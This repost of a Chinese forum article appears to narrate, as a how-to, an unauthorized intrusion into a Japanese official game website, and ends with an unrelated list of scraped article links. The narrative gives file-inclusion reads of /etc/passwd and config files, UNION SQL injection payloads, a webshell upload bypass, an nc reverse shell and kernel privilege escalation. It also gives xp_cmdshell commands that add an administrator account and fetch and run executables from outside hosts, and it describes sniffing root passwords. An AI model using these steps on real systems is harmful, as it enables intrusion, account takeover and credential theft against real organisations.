linkboy
linkboy

入侵日本某官方Game

作者：randy
来源：火狐技术联盟

目标:JP

类型:某官Game

服务器 linux

网络环境:20.*.*.*内网组成.路由映射端口.

本文只是给思路.难免有错大家谅解 希望大家能耐心看完.本人只是鸟一只.
=============国界===============

好了废话少说开始.站的URL我就拿www.test.com代替.本来想让大家都体会一下.可惜狐狸窝不能发真实地址.
拿到了站大概看了一下.PHP LINUX APACHE MYSQL组成.貌似还有一处用了一个让我无法决定的数据库.首先我们从
整个站的结构开始了解. 拿出WWWSCAN 由于我经常检测国外的站我收集了很多敏感的目录文件等等 当然软件作者
也收集了许多有用的.结果返回大概目录有
/admin/
/config/
/news/
/news/newadmin/
/news/newadmin/test.php
/admin/test.php/info.php
省略..
有用的就这些.因为我最想要的就是后台.至少有了管理员的USER&pASS有了能用的地方.
admin目录访问提示403 newadmin出来一个登录页.丫的开心.请出GOOGLE.
site:test.com inurl:php
site:test.com admin
site:test.com login
site:test.com filetype:php | asp | jsp | aspx | jsp | 由于是想看看其他子站有没有WIN系统.这样好插手.结果只有PHP 而且子站大多都是有HTML组成的
搜到这些大概得到了些信息.大概看到了网站组成脚本的名称 心里感觉可疑的可以注的点.还有一些比较少见的页面.大家SEACH下会有这样的感觉的
打开工具箱.有个FUCKGOOGLE.exe 可以搜集所有GOOGLE搜到的URL 做成一个HTML给你.然后很多链接.大家可以在AD注入工具里打开这个页面让AD扫.
就算AD不是注MYSQL的.至少也分的清楚AND 1=1 和AND 1=2的区别.在AD放了10分钟后看了下结果.没啥好玩的...放弃GOOGLE.{注:这其中大家一定得耐心的观察}
好了没戏了.既然ADMIN目录403就从他那开始下手.随便猜了几个登录页面.RP问题没出来.在WWWSCAN跑了一下 啥都木有..汗. 放弃...
新闻系统啊 新闻系统..你咋就是个新闻系统咧.后台至少可以让我用溯雪跑一下.就算不科学 也碰碰运气... 跑完了没戏 {注:当然在这过程中你可以做其他的)
有了后台我怕 就是认证的问题.到处找点.一直都没找到.有个VOTE.进去看了一下...谁谁谁 %xx. GET了' 出错了.PHP送给我路径. and 1=2 返回结果正常.和1=1没啥区别.汗.再来
/**/and/**/1=2 还是一样 大家当我在放屁吧.放弃 继续找.... 找啊找..突然看到了个这么个URL read4.php?files=include/hellokitty.html 这么个连接. 去掉hellokitty.html PHP提示
Warning: Smarty error: unable to read resource: "include" in in /home/httpd/html/libs/test.php on line 1095
嘿嘿 爽了.接着我随便找了一个他们站的图片 提交 read4.php?files=../img/bar_logo.jpg 嘎嘎. 返回的结果是?JFIFddDucky<Adobed 省略....
好继续.提交read4.php?files=../read4.php 返回
<?
require '../libs/xxxx******(假的).php';
include 'sqlfunc_csm2.inc';
session_start();
.....省略
有进展继续.提交read4.php?files=../sqlfunc_csm2.inc
拿到的当然是MYSQL USER&pASS啦.前提不是ROOT.
好了.虽然没找到点至少找到了一个另类的load_file.不管3721继续攻击!!!
read4.php?files=../../../../../etc/passwd
当然出来咯.找了几个有/BIN/BASH的用户 用MYSQL的密码去尝试SSH结果失败.
不急.再来.我们必须得找到点.花了一个小时的功夫....
还是没找到点.无奈之下用MAXTHON查看源代码.就是表单啦.搜索php 啊.无意中搜到一个很奇怪的页面我在GOOGLE中也没见过 好像是调用的吧.无聊
具体是../dj?msb=908 好家伙打开它...返回让我一滴汗落下来...就出来个3456.最后我才发现这个页面为了统计用户访问的次数.
加了个'出错了. 1=2 1=1. ^_^ 功夫不负有心人. 我注我注我注.我直接注死.
and 1=2/**/union/**/select/**/1,2
好了 返回正常...
and 1=2/**/union/**/select/**/1,user()
返回刚才我暴出来的MYSQL.有些朋友就问了.你都拿到MYSQL密码了.你怎么还不去连人家数据INTO FILE呢?大哥我希望您看清楚.上面我说的结果20.*.*.* 影射..多的废话我不想说.
and 1=2/**/union/**/select/**/1,database()
没错喔.出来的和暴出来的库一样.看你丫的我咋玩你.万事齐全.就是管理员帐号和密码了.
问题来了.表名....这个简单啦.用刚才暴文件的方法去暴login.php或它所POST的文件就可以找到表明了.大家懂我意思吧.继续注
and 1=2/**/union/**/select/**/news_admin,news_password/**/from/**/administrator55991 (BT吧 管理员很有意识)
暴出来了.密码是BASE64 大家可以到http://makcoder.sourceforge.net/demo/base64.php 来解开.或者用CAIN的附加功能.或者一会我给大家发个编码工具非常好用.
好了.拿到帐号密码了.进入后台.编辑新闻和发布新闻.其他的说了浪费时间.当然有上传功能啦.乐呵呵的上传个php. ...
.....
神啊救救我吧.我都够麻烦了..
必须上传JPG或GIF.我砸电脑的念头都有了...
稳定稳定..继续...先找了一个真正的图片.后缀改成.fuck 上传!! 提示成功.看了下上传的后辍.没错.是.fuck.
娘地.原来破东西只检测GIF头.再来.在C99头上加个GIF头GIF89a 上传!!!!
失败!!!!!!!!!!!!!!!!!!!!!
稳定下..传了个加GIF头的JSP和CGI.上传成功 不过人家服务器不解析.
一根烟 出去呼吸一下新鲜空气.突然抽烟的时候灵光一闪...对了!!!
上传后缀为.pHP带GIF头的马儿...哇塞!!!! 成功咧.爽.{注意大家看清楚.PHP Php pHp等等的组合方式 具体原理我就不解释了.各位牛都都知道.速破黑(SUPERHEI)的文章有写
输入密码进入WEBSHELL...既然进来了.我们就搞个顶翻天.
这感觉真好啊.555555.进来以后上传个NSTVIEW.php 进入TOOLS选项. 有个BACKDOOR. 本机执行nc -vvlp 520
点下Start 回来了个SHELL. 好开始提权.拿到肉特....
提交id
nobody.
提交uname -a
废话 不然APACHE白做APACHE啊 白痴!!! -.-
linux 2.4.20 xxxxxxx
其实这中间也很巧合.可能运气好吧.我用brk.c 成功提到肉特...
brk.c 大家可以去www.milw0rm.com seach下...
开始提权...
$gcc brk.c -o brk
$./brk
.....省略....
#sh.x.x
好了.继续.
nmap -v -sS 20.1.0.1/16
返回一大堆.有一台WIN机器.大概是2K.LINUX使上不舒服.先搞定他吧.
开了139 445 1433 3389 5900
#netstat -an
发现这台机器还连接着那台2K的1433 狂喜...
记得前面的ADMIN目录吗?403那个...我大概看了下那个目录的文件仔细观察看.include sql.php 紧张的打开sql.php 哇/se/se/se 运气实在好的不行了..
是SA喔.但是问题又来了...APACHE+LINUX不支持MSSQL啊.我又是菜鸟一只.又不会写PHP... GOOGLE了下搜到了好东西
freetds. LINUX管理MSSQL的工具. 赶快下载下来安装
# wget http://xx.xx.com/freetds.tar.gz
# tar -zxvf freetds.tar.gz
# cd freetd./configure --prefix=/usr/local/freetds --with-tdsver=7.0
#gmake (生成Makefile，我试验过，make也可以)
#gmake install (安装)
OK了.继续
#cd bin
#./tsql -h 20.1.0.9 -p 1433 -U sa -P XXXX98#4 登录成功后会出现>
>exec master.dbo.xp_cmdshell net user Randy xxxxx /add
>exec master.dbo.xp_cmdshell net localgroup administrators Randy /add
>exec master.dbo.xp_cmdshell ftp 12.12.12.12 | "Randy" | "121212"|"get down.exe"|"bye"| 我就省略的写了...具体是那个FTP的BAT.大家都知道吧.
>exec master.dbo.xp_cmdshell down.exe http://www.xx.com/vidc.exe VIDC大家都会配置吧.
>exec master.dbo.xp_cmdshell down.exe http://www.xx.com/vidc.ini
>exec master.dbo.xp_cmdshell vidc.exe (执行之前 本地执行 vidc.exe -p 7777
>exit

好了.VIDC的端口也映射过来了.链接本地的127.0.0.1:7777 进到终端.安装CAIN 开始SNIFF.
那服务器也没人管.1天半后.嗅到了SSH的密码.ROOT $*2323****
全段都是相同帐号密码.就这一台WIN. 就这样网关帐号密码.SSH 等等 更别提数据库了.全让我干了顶朝天...


 

你可能感兴趣的:(职场,game,官方,日本,休闲)

  • 大数据论文_02_MapReduce(个人总结) hellosrc2023 大数据hadoop大数据
    声明:1.本文为我的个人复习总结,并非那种从零基础开始普及知识内容详细全面,言辞官方的文章2.由于是个人总结,所以用最精简的话语来写文章3.若有错误不当之处,请指出MapReduce目的:让开发人员意识不到分布式的存在架构:Master(JobTracker)Worker(TaskTracker:MapTask,ReduceTask)三个问题:简单易用:只有Map和Reduce,增加机器数量即可提
  • 2025最新华为OD机试，华为OD机试备考攻略，独家整理总结上岸技巧（Python/JS/C/C++） 哪 吒 华为odpythonjavascript
    专栏导读本专栏收录于《华为OD机试真题（Python/JS/C/C++）》。刷的越多，抽中的概率越大，私信哪吒，备注华为OD，加入华为OD刷题交流群，每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景，发现新题目，随时更新。2024年8月14日，华为官方已经将华为OD机试（D卷）切换为E卷。目前正在考的是E卷，按照华为OD往常的操作，E卷题目是由往
  • 华为OD机试题库清单以及考点说明，2025.3.16切换2025A卷 哪 吒 搬砖工逆袭Java架构师华为odjava华为OD机试集训2025A卷
    专栏导读本专栏收录于《华为OD机试（JAVA）真题（E卷+D卷+A卷+B卷+C卷）》。刷的越多，抽中的概率越大，私信哪吒，备注华为OD，加入华为OD刷题交流群，每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景，发现新题目，随时更新，全天CSDN在线答疑。2025年3月16日，华为官方已经将华为OD机试（E卷）切换为A卷。目前正在考的是A卷，按照华
  • 探索职场新路径：探星AI研习社，你的职场加速器 汐(❁´◡`❁)*✲ﾟ* 人工智能自然语言处理深度学习目标检测数据挖掘神经网络语言模型
    在当今竞争激烈的职场环境中，如何快速提升自己的竞争力，成为许多职场人关注的焦点。随着人工智能技术的飞速发展，掌握AI相关技能已经成为职场晋升的关键。今天，我们来聊聊一个能够帮助职场人快速成长的平台——探星AI研习社。职场竞争：AI技能为何如此重要？随着AI技术在各行各业的广泛应用，无论是数据分析、自动化办公，还是智能决策支持，AI已经成为现代职场的必备工具。根据2023年全球职场趋势报告，超过70
  • 虾皮Shopee商品信息采集
    Shopee（虾皮）是东南亚流行的电商平台，很多商家和开发者对其商品详情数据感兴趣。采集Shopee商品详情数据（特别是按商品ID获取），常用方法是Shopee的API接口或爬虫技术。不过，直接爬取数据可能涉及版权、隐私和平台使用条款问题，采集前要确保行为合规。使用Shopee官方API：这是最推荐的方法。通过官方API，开发者可以合法、安全地获取商品详情数据，同时享受API提供的其他便利，如数据
  • 优化 WebAssembly 中的 Game of Life Hello.Reader 前端技术rustwasm
    一、为什么要做时间剖析？在开发过程中，我们往往会对某个环节的性能有先入为主的猜想。然而，只有通过剖析工具才能发现真正的性能瓶颈。本文中，我们首先用浏览器内置工具和Rust的consoleAPI对关键代码进行剖析，然后再据此优化。二、利用window.performance.now实现FPS计时器为了实时观察渲染性能，我们在JavaScript端添加了一个FPS计时器。具体实现思路如下：在index
  • npm配置华为云镜像 npm
    npm镜像的概念和作用npm镜像是一种用于加速npm包安装的服务，通过在国内或本地部署的镜像服务器来缓存和分发npm包，从而减少从国外官方npm仓库下载的时间，提高安装速度。华为云提供的npm镜像地址华为云提供的npm镜像地址为：https://mirrors.huaweicloud.com/repository/npm/。配置npm以使用华为镜像通过运行以下命令来配置npm使用华为镜像：http
  • 手把手教你华为鸿蒙开发之第三节
    华为鸿蒙开发基础第三节：一元运算符、比较运算符、逻辑运算符及运算符优先级引言在华为鸿蒙操作系统的开发中，DevEcoStudio是官方推荐的集成开发环境（IDE），它提供了代码编写、调试、打包和签名等一系列开发功能。本文将结合DevEcoStudio，详细介绍鸿蒙应用开发中常用的一元运算符、比较运算符、逻辑运算符以及运算符的优先级，帮助开发者更好地理解和使用这些基础概念。一元运算符一元运算符只对一
  • python俄罗斯方块代码idle_Python使用pygame模块编写俄罗斯方块游戏的代码实例 程绵羊
    文章先介绍了关于俄罗斯方块游戏的几个术语。边框——由10*20个空格组成，方块就落在这里面。盒子——组成方块的其中小方块，是组成方块的基本单元。方块——从边框顶掉下的东西，游戏者可以翻转和改变位置。每个方块由4个盒子组成。形状——不同类型的方块。这里形状的名字被叫做T,S,Z,J,L,I,O。如下图所示：模版——用一个列表存放形状被翻转后的所有可能样式。全部存放在变量里，变量名字如S_SHAPE_
  • Pygame学习笔记 7 —— Sprite精灵 我有两颗糖 pygamepygamepython游戏开发
      这次我们来讲一个非常实用的模块：sprite模块，它可以用来处理含有多个对象的整体，比如一堆子弹和一堆俄罗斯方块，使用sprite模块不仅可以简化控制的复杂度，也可以利用它的函数来简化实现方法。主要内容：Sprite类的继承、Group类、检测精灵的碰撞、应用一、Sprite类的继承sprite类：类的定义classSprite(object):def__init__(self,*groups
  • 「Unity3D」使用Il2CppSetOption优化IL2CPP生成C++代码的性能 scott.cgi Unity3DUnityIl2CppSetOptionIL2CPPIL2CPP优化Unity优化C++
    使用IL2CPP生成C++代码，有三个检查项可选，即：Nullchecks（空值检查）、Arrayboundschecks（数组越界检查）、Dividebyzerochecks（除数为0检查）——其中，前两个是默认开启的，后一个是默认关闭的。显然，运行时可以全部给关闭了，不需要每帧各个对象检查空值与越界。方法是，需要一个Il2CppSetOption.cs文件——在Unity的安装目录下官方提供：
  • Ubuntu系统Docker安装失败 leo·li Dockerubuntu
    问题：1.删除错误的Docker源sudorm-rf/etc/apt/sources.list.d/docker.listsudorm-rf/etc/apt/keyrings/docker.gpg2.重新添加Docker官方GPG密钥​sudomkdir-p/etc/apt/keyringscurl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|
  • flutter基础 --dart语法学习 蓝胖子不是胖子 flutter学习
    由于想要写一款性能较好,但是又可以一套代码多个平台运行的客户端app,所以选择了flutter就去看了官方文档,大体发现flutter使用的dart语言和java和js差不多,感觉就是缝合怪。Dart是一种面向对象的编程语言，语法上与Java、JavaScript等语言有一些相似之处，因此对于有Java基础的开发者，Dart的语法应该相对容易理解。以下是Dart语言的语法介绍，特别对比了与Java
  • 手机像素查看全攻略，让你秒懂手机拍照实力 仙女很美哦 httpudphttpswebsocket网络安全网络协议tcp/ip
    家人们，如今咱出门在外，手机就是咱记录生活的"神器"。无论是壮丽的风景、温馨的聚会，还是自己美美的自拍，都得靠手机相机。这时候，手机像素就显得格外重要啦，它直接决定了拍出来的照片是清晰动人，还是模糊不清。可好多朋友都不太清楚怎么看手机像素，今天就来给大伙详细讲讲，让你轻松了解自家手机的拍照实力。一、查看手机官方参数品牌官网查询：每个手机品牌都有自己的官方网站，上面详细记录了旗下各款手机的参数信息，
  • 使用Python安装和配置Selenium 创新梦想无限 pythonselenium开发语言Python
    Selenium是一个强大的自动化测试工具，可以用于模拟人类对网页的交互操作。本文将介绍如何在Python中安装和配置Selenium，并提供相应的源代码。安装Python首先，确保你的计算机上已经安装了Python。你可以从Python官方网站（https://www.python.org）下载最新的Python版本，并按照安装向导进行安装。安装Selenium库打开命令行终端，并使用以下命令安
  • DeepSeek满血版大赏：官方得了“MVP”，第三方是“躺赢狗”？ 人工智能deepseek
    一、DeepSeek得了“MVP”！第三方AI平台是“躺赢狗”？DeepSeek得了MVP，第三方AI平台全是躺赢狗！这可不是乱说——DeepSeek开源了R1（6710亿参数）和V3（2360亿参数）两大满血版模型，让无数AI平台直接“白嫖”顶级技术，瞬间提升自家AI智商，这波操作，堪称“官方带飞，第三方躺赚”。不过，玩笑归玩笑，DeepSeek开源这一招，其实对DeepSeek自己也有很大好处
  • Python-Django入手 Alfadi联盟 萧瑶 Pythonpythondjango开发语言
    18.1建立项目18.1.1制定规范-定义项目目标：明确应用的核心功能-创建项目文档：用README.md记录技术栈和开发流程-规划目录结构：建议遵循Django官方推荐的项目布局18.1.2建立虚拟环境在命令行执行：python-mvenvll_env说明：-venv是Python内置虚拟环境模块-ll_env是自定义环境名称，隔离项目依赖18.1.3激活虚拟环境Windows系统：ll_env
  • LeetCode 438. 找到字符串中所有字母的异位词 YGGP 程序设计算法leetcode算法golang
    438.找到字符串中所有字母的异位词题目描述给定两个字符串s和p，找到s中所有p的异位词的子串，返回这些子串的起始索引。不考虑答案输出的顺序。输入输出示例及数据范围思路这道题的思路其实很简单，就是一个滑动窗口的裸题，但是LeetCode官方题解当中给出的Golang解法非常适合学习，因此通过本篇文章进行记录。具体来说，Golang与C++不同，Golang的slice不能比较，因为slice是引用
  • python venv虚拟环境设置 blackhole33 python开发语言
    venv模块venv是Python标准库的一部分，从Python3.3版本开始引入。它是创建虚拟环境的官方推荐方式。一、创建虚拟环境打开终端（在Windows上是命令提示符或PowerShell，在MacOS或Linux上是终端）导航到你想创建虚拟环境的目录。运行以下命令来创建虚拟环境：python-mvenv.venv二、激活虚拟环境1.Windows系统，在虚拟环境的目录运行以下命令来激活虚拟
  • 太香了！快速集成DeepSeek能力的开源方案 go后端deepseek
    如果你正在寻找快速集成DeepSeek能力的开源方案，这个由官方维护的awesome-deepseek-integration项目绝对值得收藏！项目核心定位•官方背书：DeepSeek团队直接维护，GitHub已斩获27k+Star，资源权威且持续更新。•一站式整合：覆盖开发、部署、应用全链路，降低开发者探索成本。•生态丰富性：从底层框架到终端插件，满足不同场景需求。核心模块1.AIAgent开发
  • 使用 Python 和 Pygame 库实现的俄罗斯方块游戏 俄罗斯方块
    这个代码实现了一个简单的俄罗斯方块游戏。你可以将其保存为.py文件并运行，需要确保你已经安装了Pygame库。运行代码后，会弹出一个窗口，你可以使用方向键来控制方块的移动和旋转。importpygameimportrandom#初始化Pygamepygame.init()#定义常量WIDTH=300HEIGHT=600BLOCK_SIZE=30BOARD_WIDTH=WIDTH//BLOCK_SI
  • Kotlin 中那些无法复现的 Java 写法 ForteScarlet KTips水文罢了javakotlin开发语言androidjetbrains
    大家吼哇！了解Kotlin的朋友们都知道，Kotlin对Java是100%兼容的，正如官方所说。可即便如此，这就代表Java中所有的写法就都能在Kotlin中复现出来吗？倒也未必。今天我就来简单盘点一些我发现的那些在Kotlin中无法复现出来的Java写法。泛型异常众所周知，Java中有一个争议多年的东西：throws。当它在函数后面声明了若干受检异常后，它便会向外传播，直到被捕获。在Java中，
  • npm、yarn、pnpm 最新国内镜像源设置和常见问题解决 SHENHUANJIE Node.jsnpmpnpmyarn
    1.npm设置国内镜像源1.1镜像源概述镜像源是软件包管理工具用来下载和安装软件包的服务器地址。由于网络原因，直接使用官方源可能会导致速度慢或连接失败的问题。国内镜像源可以提供更快的访问速度和更稳定的连接。1.2镜像源的选择国内有许多可用的npm镜像源，包括但不限于淘宝镜像、腾讯云镜像、cnpm等。这些镜像源通常会同步官方npm源的包，但可能会有一些延迟。1.2.1淘宝镜像淘宝镜像源是目前国内使用
  • 什么是AI大模型?常见的AI大模型有哪些? AI产品经理 人工智能机器学习深度学习自然语言处理gpt
    什么是AI大模型？在人工智能领域，"AI大模型"的官方概念通常指的是具有大量参数的机器学习模型，这些模型能够捕捉和学习数据中的复杂模式。参数是模型中的变量，它们在训练过程中不断调整，以便模型能够更准确地进行预测或分类任务。AI大模型通常具有以下特点：高参数量：AI大模型含有数百万甚至数十亿的参数，这使得它们能够学习和记忆大量信息。深度学习架构：它们通常基于深度学习架构，如卷积神经网络（CNNs）用
  • 一个华科大差生的12年程序员工作总结 _findyi 互联网程序员职场认知程序人生
    是的，这个差生说的就是洋哥本洋，高考结束以后，随着毕业季的到来，也来了很多大学生和刚工作没多久的读者。很多新读者问洋哥，让我指导下程序员的职场怎么发展、如何把工作做得更好，回答的多了，想着还不如写一篇自己整个职场的成长经历，或许对大家有一些价值。全文较长，大约4000字，需要一点点耐心去阅读：1.毕业的选择大学时期我是个彻头彻尾的学渣，大一大二都沉迷于游戏中，曾经住网吧17天，挂科无数，我也写了篇
  • CSDN专栏投稿:模式探讨带赚计划导师团队’的人生哲学 2501_91456791 算法
    在这个纷繁复杂的世界里，学习已成为我们生活中不可或缺的一部分。它不仅是一种获取知识的方式，更是一种提升自我的旅程。我常常思索，学习的意义究竟何在？是应对考试的压力？是追求职场的竞争力？还是渴望更丰富的人生？经过一段时间的思考与实践，我愈发意识到，学习的广泛性远超过我之前的理解。首先，学习是一扇通向世界的窗户。我们通过学习，得以了解不同的文化、思想和智慧。在这信息爆炸的时代，各类知识层出不穷，每一个
  • MoCap 动作捕捉开源库教程 kuan_li_lyg 人形机器人控制与仿真机器人人工智能自动驾驶matlab开发语言
    系列文章目录前言一、motion_capture_tracking该资源库是一个ROS2软件包，可接收来自各种运动捕捉系统的数据：VICONQualisysOptiTrackVRPNNOKOVFZMotionMotionAnalysis对于大多数系统，有三种不同的跟踪模式可供选择：通过官方软件（如ViconTracker）使用独特的标记排列跟踪刚体姿势。通过自定义坐标系跟踪刚体姿势，使用相同的标记
  • 算法每日一练 (19) 张翊尘 算法每日一练算法数据结构
    欢迎来到张翊尘的技术站技术如江河，汇聚众志成。代码似星辰，照亮行征程。开源精神长，传承永不忘。携手共前行，未来更辉煌文章目录算法每日一练(19)不同路径题目描述解题思路解题代码`c/c++``golang``lua`官方站点：力扣Leetcode算法每日一练(19)不同路径题目地址：不同路径题目描述一个机器人位于一个mxn网格的左上角（起始点在下图中标记为“Start”）。机器人每次只能向下或者向
  • 算法每日一练 (20) 张翊尘 算法每日一练算法数据结构
    欢迎来到张翊尘的技术站技术如江河，汇聚众志成。代码似星辰，照亮行征程。开源精神长，传承永不忘。携手共前行，未来更辉煌文章目录算法每日一练(20)不同路径II题目描述解题思路解题代码`c/c++``golang``lua`官方站点：力扣Leetcode算法每日一练(20)不同路径II题目地址：不同路径II题目描述给定一个mxn的整数数组grid。一个机器人初始位于左上角（即grid[0][0]）。机
  • DSP280039芯片CANFD功能开发笔记 兄弟李德胜 dsp开发c语言
    之前进行写过DSP280049代码迁移280039的文章。可以直接点击这里回顾一下DSP280049代码迁移DSP280039注意事项现在要基于280039进行CANFD开发。280039芯片比280049突出的一点就是增加了CANFD的支持，原有CAN的port口上映射为CANFD。要配CANFD使用的是MCAN。在官方发布的软件包上有收发测试用例。值得注意的是官方实例使用的是直接读写MCAN寄
  • java杨辉三角 3213213333332132 java基础
    package com.algorithm; /** * @Description 杨辉三角 * @author FuJianyong * 2015-1-22上午10:10:59 */ public class YangHui { public static void main(String[] args) { //初始化二维数组长度 int[][] y
  • 《大话重构》之大布局的辛酸历史 白糖_ 重构
    《大话重构》中提到“大布局你伤不起”，如果企图重构一个陈旧的大型系统是有非常大的风险，重构不是想象中那么简单。我目前所在公司正好对产品做了一次“大布局重构”，下面我就分享这个“大布局”项目经验给大家。   背景         公司专注于企业级管理产品软件，企业有大中小之分，在2000年初公司用JSP/Servlet开发了一套针对中
  • 电驴链接在线视频播放源码 dubinwei 源码电驴播放器视频ed2k
    本项目是个搜索电驴（ed2k）链接的应用,借助于磁力视频播放器（官网： http://loveandroid.duapp.com/ 开放平台），可以实现在线播放视频，也可以用迅雷或者其他下载工具下载。 项目源码： http://git.oschina.net/svo/Emule,动态更新。也可从附件中下载。 项目源码依赖于两个库项目，库项目一链接： http://git.oschina.
  • Javascript中函数的toString()方法 周凡杨 JavaScriptjstoStringfunctionobject
    简述     The toString() method returns a string representing the source code of the function.     简译之，Javascript的toString()方法返回一个代表函数源代码的字符串。 句法     function.
  • struts处理自定义异常 g21121 struts
    很多时候我们会用到自定义异常来表示特定的错误情况，自定义异常比较简单，只要分清是运行时异常还是非运行时异常即可，运行时异常不需要捕获，继承自RuntimeException，是由容器自己抛出，例如空指针异常。 非运行时异常继承自Exception，在抛出后需要捕获，例如文件未找到异常。 此处我们用的是非运行时异常，首先定义一个异常LoginException: /** * 类描述：登录相
  • Linux中find常见用法示例 510888780 linux
    Linux中find常见用法示例 ·find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} \; find命令的参数；
  • SpringMVC的各种参数绑定方式 Harry642 springMVC绑定表单
    1. 基本数据类型(以int为例，其他类似)： Controller代码： @RequestMapping("saysth.do") public void test(int count) { } 表单代码： <form action="saysth.do" method="post&q
  • Java 获取Oracle ROWID aijuans javaoracle
    A ROWID is an identification tag unique for each row of an Oracle Database table. The ROWID can be thought of as a virtual column, containing the ID for each row. The oracle.sql.ROWID class i
  • java获取方法的参数名 antlove javajdkparametermethodreflect
    reflect.ClassInformationUtil.java package reflect; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.Modifier; import javassist.bytecode.CodeAtt
  • JAVA正则表达式匹配 查找 替换 提取操作 百合不是茶 java正则表达式替换提取查找
    正则表达式的查找;主要是用到String类中的split();       String str;      str.split();方法中传入按照什么规则截取,返回一个String数组   常见的截取规则: str.split("\\.")按照.来截取 str.
  • Java中equals()与hashCode()方法详解 bijian1013 javasetequals()hashCode()
    一.equals()方法详解     equals()方法在object类中定义如下：  public boolean equals(Object obj) { return (this == obj); }    很明显是对两个对象的地址值进行的比较（即比较引用是否相同）。但是我们知道，String 、Math、I
  • 精通Oracle10编程SQL(4)使用SQL语句 bijian1013 oracle数据库plsql
    --工资级别表 create table SALGRADE ( GRADE NUMBER(10), LOSAL NUMBER(10,2), HISAL NUMBER(10,2) ) insert into SALGRADE values(1,0,100); insert into SALGRADE values(2,100,200); inser
  • 【Nginx二】Nginx作为静态文件HTTP服务器 bit1129 HTTP服务器
     Nginx作为静态文件HTTP服务器 在本地系统中创建/data/www目录，存放html文件(包括index.html) 创建/data/images目录，存放imags图片 在主配置文件中添加http指令   http { server { listen 80; server_name
  • kafka获得最新partition offset blackproof kafkapartitionoffset最新
    kafka获得partition下标，需要用到kafka的simpleconsumer   import java.util.ArrayList; import java.util.Collections; import java.util.Date; import java.util.HashMap; import java.util.List; import java.
  • centos 7安装docker两种方式 ronin47
          第一种是采用yum 方式              yum install -y docker           
  • java-60-在O(1)时间删除链表结点 bylijinnan java
    public class DeleteNode_O1_Time { /** * Q 60 在O(1)时间删除链表结点 * 给定链表的头指针和一个结点指针(!!)，在O(1)时间删除该结点 * * Assume the list is: * head->...->nodeToDelete->mNode->nNode->..
  • nginx利用proxy_cache来缓存文件 cfyme cache
    user  zhangy users; worker_processes 10; error_log  /var/vlogs/nginx_error.log  crit; pid        /var/vlogs/nginx.pid; #Specifies the value for ma
  • [JWFD开源工作流]JWFD嵌入式语法分析器负号的使用问题 comsci 嵌入式
        假如我们需要用JWFD的语法分析模块定义一个带负号的方程式，直接在方程式之前添加负号是不正确的，而必须这样做：     string str01 = "a=3.14;b=2.71;c=0;c-((a*a)+(b*b))"     定义一个0整数c,然后用这个整数c去
  • 如何集成支付宝官方文档 dai_lm android
    官方文档下载地址 https://b.alipay.com/order/productDetail.htm?productId=2012120700377310&tabId=4#ps-tabinfo-hash 集成的必要条件 1. 需要有自己的Server接收支付宝的消息 2. 需要先制作app，然后提交支付宝审核，通过后才能集成 调试的时候估计会真的扣款，请注意
  • 应该在什么时候使用Hadoop datamachine hadoop
    原帖地址：http://blog.chinaunix.net/uid-301743-id-3925358.html 存档，某些观点与我不谋而合，过度技术化不可取，且hadoop并非万能。 --------------------------------------------万能的分割线-------------------------------- 有人问我，“你在大数据和Hado
  • 在GridView中对于有外键的字段使用关联模型进行搜索和排序 dcj3sjt126com yii
    在GridView中使用关联模型进行搜索和排序 首先我们有两个模型它们直接有关联: class Author extends CActiveRecord { ... } class Post extends CActiveRecord { ... function relations() { return array( '
  • 使用NSString 的格式化大全 dcj3sjt126com Objective-C
    格式定义The format specifiers supported by the NSString formatting methods and CFString formatting functions follow the IEEE printf specification; the specifiers are summarized in Table 1. Note that you c
  • 使用activeX插件对象object滚动有重影 蕃薯耀 activeX插件滚动有重影
      使用activeX插件对象object滚动有重影   <object style="width:0;" id="abc" classid="CLSID:D3E3970F-2927-9680-BBB4-5D0889909DF6" codebase="activex/OAX339.CAB#
  • SpringMVC4零配置 hanqunfeng springmvc4
    基于Servlet3.0规范和SpringMVC4注解式配置方式，实现零xml配置，弄了个小demo，供交流讨论。     项目说明如下： 1.db.sql是项目中用到的表，数据库使用的是oracle11g 2.该项目使用mvn进行管理，私服为自搭建nexus,项目只用到一个第三方 jar，就是oracle的驱动； 3.默认项目为零配置启动，如果需要更改启动方式，请
  • 《开源框架那点事儿16》：缓存相关代码的演变 j2eetop 开源框架
    问题引入 上次我参与某个大型项目的优化工作，由于系统要求有比较高的TPS，因此就免不了要使用缓冲。 该项目中用的缓冲比较多，有MemCache，有Redis，有的还需要提供二级缓冲，也就是说应用服务器这层也可以设置一些缓冲。 当然去看相关实现代代码的时候，大致是下面的样子。 [java] view plain copy print ? public vo
  • AngularJS浅析 kvhur JavaScript
    概念 AngularJS is a structural framework for dynamic web apps. 了解更多详情请见原文链接：http://www.gbtags.com/gb/share/5726.htm Directive 扩展html，给html添加声明语句，以便实现自己的需求。对于页面中html元素以ng为前缀的属性名称，ng是angular的命名空间
  • 架构师之jdk的bug排查(一)---------------split的点号陷阱 nannan408 split
    1.前言.    jdk1.6的lang包的split方法是有bug的,它不能有效识别A.b.c这种类型,导致截取长度始终是0.而对于其他字符,则无此问题.不知道官方有没有修复这个bug. 2.代码 String[] paths = "object.object2.prop11".split("'"); System.ou
  • 如何对10亿数据量级的mongoDB作高效的全表扫描 quentinXXZ mongodb
      本文链接:  http://quentinXXZ.iteye.com/blog/2149440 一、正常情况下，不应该有这种需求 首先，大家应该有个概念，标题中的这个问题，在大多情况下是一个伪命题，不应该被提出来。要知道，对于一般较大数据量的数据库，全表查询，这种操作一般情况下是不应该出现的，在做正常查询的时候，如果是范围查询，你至少应该要加上limit。 说一下，
  • C语言算法之水仙花数 qiufeihu c算法
    /** * 水仙花数 */ #include <stdio.h> #define N 10 int main() { int x,y,z; for(x=1;x<=N;x++) for(y=0;y<=N;y++) for(z=0;z<=N;z++) if(x*100+y*10+z == x*x*x
  • JSP指令 wyzuomumu jsp
    jsp指令的一般语法格式： <%@ 指令名 属性 =”值 ” %> 常用的三种指令： page,include,taglib page指令语法形式： <%@ page 属性 1=”值 1” 属性 2=”值 2”%> include指令语法形式： <%@include file=”relative url”%> (jsp可以通过 include
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他